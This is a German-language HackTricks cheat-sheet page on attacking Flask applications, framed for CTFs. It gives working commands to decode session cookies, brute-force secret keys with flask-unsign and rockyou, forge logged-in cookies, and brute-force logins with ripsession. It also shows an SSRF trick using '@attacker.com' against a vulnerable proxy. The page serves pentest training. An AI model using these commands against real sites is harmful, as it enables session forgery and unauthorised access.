Flask
Tip
Lerne & übe AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lerne & übe GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Lerne & übe Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Durchsuche den vollständigen HackTricks Training-Katalog nach den Assessment-Tracks (ARTA/GRTA/AzRTA) und Linux Hacking Expert (LHE).
Support HackTricks
- Sieh dir die subscription plans an!
- Tritt der 💬 Discord group, der telegram group bei, folge @hacktricks_live auf X/Twitter, oder schau dir die LinkedIn page und den YouTube channel an.
- Teile hacking tricks, indem du PRs in die HackTricks und HackTricks Cloud github repos einreichst.
Wahrscheinlich, wenn du an einem CTF teilnimmst, hängt eine Flask-Anwendung mit SSTIzusammen.
Cookies
Der Standardname des Session-Cookies ist session.
Decoder
Online Flask-Cookie-Decoder: https://www.kirsle.net/wizards/flask-session.cgi
Manuell
Nimm den ersten Teil des Cookies bis zum ersten Punkt und dekodiere ihn mit Base64:
echo "ImhlbGxvIg" | base64 -d
Das cookie ist außerdem mit einem Passwort signiert
Flask-Unsign
Kommandozeilen-Tool zum Abrufen, Decodieren, brute-force und Erstellen von session cookies einer Flask-Anwendung durch Erraten von secret keys.
pip3 install flask-unsign
Cookie dekodieren
flask-unsign --decode --cookie 'eyJsb2dnZWRfaW4iOmZhbHNlfQ.XDuWxQ.E2Pyb6x3w-NODuflHoGnZOEpbH8'
Brute Force
flask-unsign --wordlist /usr/share/wordlists/rockyou.txt --unsign --cookie '<cookie>' --no-literal-eval
Signierung
flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME'
Signing mit Legacy (ältere Versionen)
flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME' --legacy
RIPsession
Kommandozeilen-Tool zum brute-force von Websites mithilfe von mit flask-unsign erstellten Cookies.
ripsession -u 10.10.11.100 -c "{'logged_in': True, 'username': 'changeMe'}" -s password123 -f "user doesn't exist" -w wordlist.txt
SQLi in Flask session cookie mit SQLmap
Dieses Beispiel verwendet sqlmap eval option, um sqlmap payloads automatisch für Flask zu signieren mit einem bekannten Secret.
Flask Proxy zu SSRF
In diesem Writeup wird erklärt, wie Flask eine Anfrage erlaubt, die mit dem Zeichen “@” beginnt:
GET @/ HTTP/1.1
Host: target.com
Connection: close
Welche im folgenden Szenario:
from flask import Flask
from requests import get
app = Flask('__main__')
SITE_NAME = 'https://google.com/'
@app.route('/', defaults={'path': ''})
@app.route('/<path:path>')
def proxy(path):
return get(f'{SITE_NAME}{path}').content
app.run(host='0.0.0.0', port=8080)
Es könnte ermöglichen, etwas wie “@attacker.com” einzufügen, um eine SSRF auszulösen.
Tip
Lerne & übe AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lerne & übe GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Lerne & übe Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Durchsuche den vollständigen HackTricks Training-Katalog nach den Assessment-Tracks (ARTA/GRTA/AzRTA) und Linux Hacking Expert (LHE).
Support HackTricks
- Sieh dir die subscription plans an!
- Tritt der 💬 Discord group, der telegram group bei, folge @hacktricks_live auf X/Twitter, oder schau dir die LinkedIn page und den YouTube channel an.
- Teile hacking tricks, indem du PRs in die HackTricks und HackTricks Cloud github repos einreichst.


